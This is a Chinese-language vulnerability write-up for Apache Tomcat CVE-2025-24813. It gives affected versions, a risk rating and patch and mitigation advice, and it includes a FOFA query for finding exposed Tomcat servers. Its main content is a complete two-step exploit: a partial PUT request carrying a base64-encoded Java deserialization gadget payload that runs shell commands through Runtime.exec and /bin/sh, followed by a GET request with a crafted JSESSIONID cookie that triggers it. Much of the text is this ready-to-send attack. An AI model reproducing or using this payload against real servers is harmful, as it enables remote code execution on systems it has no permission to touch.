Apache Tomcat 远程代码执行漏洞(CVE-2025-24813)¶

漏洞描述¶

该漏洞源于 Tomcat DefaultServlet 处理 partial PUT 请求（基于 Content-Range 头的 HTTP PUT 请求）时的临时文件命名逻辑不安全，导致攻击者可以通过构造特殊的请求路径，访问或写入安全敏感文件。

影响版本¶

11.0.0-M1 ≤ Apache Tomcat ≤ 11.0.2

10.1.0-M1 ≤ Apache Tomcat ≤ 10.1.34

9.0.0.M1 ≤ Apache Tomcat ≤ 9.0.98

漏洞状态¶

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级¶

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现¶

FOFA：title=="Apache Tomcat"

POC/EXP：put上传生成.session文件

PUT /cjx/session HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 10000
Content-Range: bytes 0-1000/1200

{{base64dec(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)}}

触发JSESSIONID
GET / HTTP/1.1
Host: 127.0.0.1:8080
Cookie: JSESSIONID=.cjx

漏洞修复¶

如果暂时无法升级，可以采取以下临时措施降低风险：

禁止partial PUT：在 conf/web.xml 中修改 allowPartialPut 参数为false，并重启 Tomcat 以使配置生效。

严格控制 DefaultServlet 写入权限：确保 readonly=true，禁用所有未经授权的 PUT/DELETE 请求，仅允许可信来源访问受限目录。

Apache 官方已发布安全通告并发布了修复版本11.0.3、10.1.35、9.0.99，请尽快下载安全版本修复漏洞。